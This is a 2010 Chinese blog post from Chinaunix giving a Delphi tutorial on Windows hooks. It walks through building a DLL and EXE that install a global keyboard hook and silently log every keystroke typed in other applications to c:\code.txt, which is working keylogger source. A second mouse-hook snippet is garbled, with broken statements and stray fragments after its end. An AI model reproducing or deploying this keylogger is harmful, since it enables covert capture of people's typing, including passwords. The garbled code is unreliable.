Chinaunix首页 | 论坛 | 博客
  • 博客访问: 10739
  • 博文数量: 4
  • 博客积分: 251
  • 博客等级: 二等列兵
  • 技术积分: 70
  • 用 户 组: 普通用户
  • 注册时间: 2010-01-30 00:19
文章分类
文章存档

2010年(4)

我的朋友
最近访客

分类: 网络与安全

2010-02-21 20:07:51

Delphi中的钩子函数--HOOK,即系统挂钩捕捉键盘操作实例
在WINDOWS系统下,应用程序常常要截获其他程序的消息,并加以处理(例如跟踪键盘或鼠标的按键状况等)。
     现在,我们假设在前台进行正常操作,在后台利用HOOK程序为系统安装一个键盘挂钩,当有按键操作时,
系统发给键盘挂钩对应的消息,而这些消息被HOOK程序截获,并加以相应的处理,这样就可以监视键盘的使用状况了。
一.实现方法
    提供了强大的可视化集成开发环境,它使得在Windows下的应用程序开发变得更加广泛,因此我们将用编写一个动态链接库,然后在主程序中加以调用以实现系统挂钩的设置。具体步骤如下:
     ① 用创建一个使用键盘挂钩的动态链接库HK.DLL
     ② 用编写一个使用上述DLL的可执行文件HOOK.EXE
二.实现步骤
1.创建动态链接库
* 选择FILE菜单中的NEW选项,选择DLL产生一个新的模板,保存为HK.DPR
library HK .
uses
   SysUtils,
   Classes,
   hkproc in 'hkproc.pas'; //挂钩函数在文件中的定义
   exports //DLL的输出函数
     EnableHotKeyHook,
     DisableHotKeyHook;
begin
   hNextHookProc :=0;
   Assign(f,'c:\code.txt');//将捕获的键值存入C盘的“code.txt”文件中
   Reset(f); //初始化“code.txt”文件
   procSaveExit := ExitProc; //DLL释放时解除挂钩
   ExitProc := @HotKeyHookExit;
end.

* 选择FILE菜单中的NEW选项,选择UNIT生成HKPROC.PAS
//* 选择FILE菜单中的NEW选项,选择UNIT生成HKPROC.PAS
unit hkproc;
interface
uses
   Windows,Messages;
var
   f :file of char;
   c :char;
   i :integer;
   j :integer;
   hNextHookProc : HHook;
   procSaveExit : Pointer;

function KeyboardHookHandler(iCode : Integer; wParam : WPARAM; lParam : LPARAM) : LRESULT; stdcall export;
function EnableHotKeyHook : BOOL export;
function DisableHotKeyHook : BOOL; export;
procedure HotKeyHookExit; far;

implementation

function KeyboardHookHandler(iCode : Integer;
   WParam : WPARAM;
   lParam : LPARAM) : LRESULT stdcall export;
const
   _KeyPressMask = $80000000;
begin
Result :=0;
if iCode <0 then
begin
    Result :=CallNextHookEx(hNextHookProc,iCode,
    wParam,lParam);
    Exit;
end;
if((lParam and _KeyPressMask)=0) then
begin
    i:=getkeystate($10); //返回Shift键的状态
    j:=getkeystate($14); //返回Caps Lock键的状态
    if((j and 1)=1 )then //判断CapsLock是否按下
    begin
      //判断Shift 是否按下
      if ((i and _KeyPressMask)=_KeyPressMask) then
      begin
        if (wparam<65) then //判断是字母键还是数字键
          c:=chr(wparam-16)
        else
          c:= chr(wparam+32);
      end else
      begin
        if (wparam<65) then
          c:=chr(wparam)
        else
          c:=chr(wparam);
      end
    end else
    begin
      if ((i and _KeyPressMask)=_KeyPressMask) then
      begin
        if (wparam<65) then
          c:=chr(wparam-16)
        else
          c:= chr(wparam);
      end else
      begin
        if (wparam<65) then
          c:=chr(wparam)
        else
          c:=chr(wparam+32);
      end;
      seek(f,FileSize(f));
      write(f,c); //将捕获的键码存入文件
    end;
end;
end;

function EnableHotKeyHook:BOOL;export;
begin
   Result:=False;
   if hNextHookProc < 0 then exit;
   hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,
   KeyboardHookHandler,Hinstance,0);
   Result:=hNextHookProc = 0;
end;

function DisableHotKeyHook:BOOL; export;
begin
   if hNextHookPRoc < 0 then
   begin
     UnhookWindowshookEx(hNextHookProc);
     hNextHookProc:=0;
     Messagebeep(0);
     Messagebeep(0);
   end;
   Result:=hNextHookPRoc=0;
end;

procedure HotKeyHookExit;
begin
   if hNextHookProc < 0 then DisableHotKeyHook;
     close(f); //关闭文件并自动解除挂钩
   ExitProc:=procSaveExit;
end;

end.

//* 将程序编译后生成一个名为HK.DLL的动态链接库文件并存入“c:\”目录下。

2.创建调用DLL的EXE程序HOOK.EXE
//* 选择FILE菜单中的NEW选项,在New Items窗口中,选择Application选项。在窗体Form中,加入两个按键,
//一个定义为挂钩,另一个定义为解脱,同时加入一个文本框以提示挂钩的设置状况。将Unit1存为“hk.pas”,其相应的代码如下:

unit hk;
interface
uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls;
type
   TForm1 = class(TForm)
     Button1: TButton;
     Button2: TButton;
     Edit1: TEdit;
     procedure Button1Click(Sender: TObject);
     procedure Button2Click(Sender: TObject);

   private
     { Private declarations }
   public
     { Public declarations }
   end;

var
   Form1: TForm1;
implementation
{$R *.DFM}

function EnableHotKeyHook : BOOL;external 'HK.dll';
//声明HOOK . DLL中的两函数
function DisableHotKeyHook :BOOL;external 'HK.dll';


procedure TForm1.Button1Click(Sender: TObject);
begin
   if EnableHotKeyHook() then
     edit1.text :='设置挂钩';
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
   if DisableHotKeyHook() then
     edit1.Text :='挂钩解脱'
end;

end.

//* 选取Views菜单中的Project Source,将Project1存为“hook.dpr”,其代码如下:

program hook;
uses
   Forms,
   hk in 'hk.pas' {Form1};

{$R *.RES}
begin
   Application.Initialize;
   Application.CreateForm(TForm1, Form1);
   Application.Run;
end.

//* 编译生成HOOK.EXE 程序并存入“c:\”目录下。预先用“记事本”在“c:\”目录下建立CODE.TXT文件,
//运行HOOK程序并单击“挂钩”键,文本框提示“设置系统挂钩”,这时启动写字板等应用程序,所键入的字
//母和数字将被记录在CODE.TXT文件中。
//单击“解脱”键,文本框显示“挂钩解脱”,程序将停止对键盘的捕获。

library HookDLL;

uses
      SysUtils, Windows, Messages, Classes;

var
      oldhook: HHook;

procedure FillData(Dialog: hwnd; pt: TPoint);
var
     dc, hdc: hwnd;
      buffer: array[0..255] of char;
begin
     GetClassName(Dialog, buffer, 20);
     if (buffer = 'TBitBtn') then
      begin
        hdc : WindowFromPoint(pt);
        GetWindowText(hdc, buffer, );
        then
        begin
          dc := GetWindow(GetParent(hdc), GW_CHILD);
          hdc := GetWindow(dc, GW_HWNDFIRST);
      
          begin
            MessageBox(Dialog, pchar('单击刷新按钮:执行我的过程!'), '提示', MB_ICONINFORMATION);
            GetClassName(hdc, buffer, 255);
           if strpas(buffer) = 'TEdit' then
              SendMessage(hdc, WM_SETTEXT, 0, integer(pchar(timetostr(now))));
            hdc := GetWindow(hdc, GW_HWNDNEXT);
          end;
        end;
      end;
end;

function MouseHookProc(nCode: integer; wParam: wParam; LParam: LParam): LRESULT; stdcall;
begin
      Result := 0;
     if (nCode = HC_ACTION) and (wParam = WM_LBUTTONDOWN) then
        FillData(PMouseHookStruct(LParam).hwnd, PMouseHookStruct(LParam).pt);
      Result := CallNextHookEx(oldhook, nCode, wParam, LParam);
end;

procedure HookOn();
begin
      oldhook := SetWindowsHookEx(WH_MOUSE, @MouseHookProc, HInstance, 0);
end;

procedure HookOff();
begin
      UnHookWindowsHookEx(oldhook);
end;

exports HookOn, HookOff;

begin
end.while (hdc <> 0) doif buffer = 'OK'20=

阅读(2446) | 评论(0) | 转发(0) |
0

上一篇:bt

下一篇:后台程序

给主人留下些什么吧!~~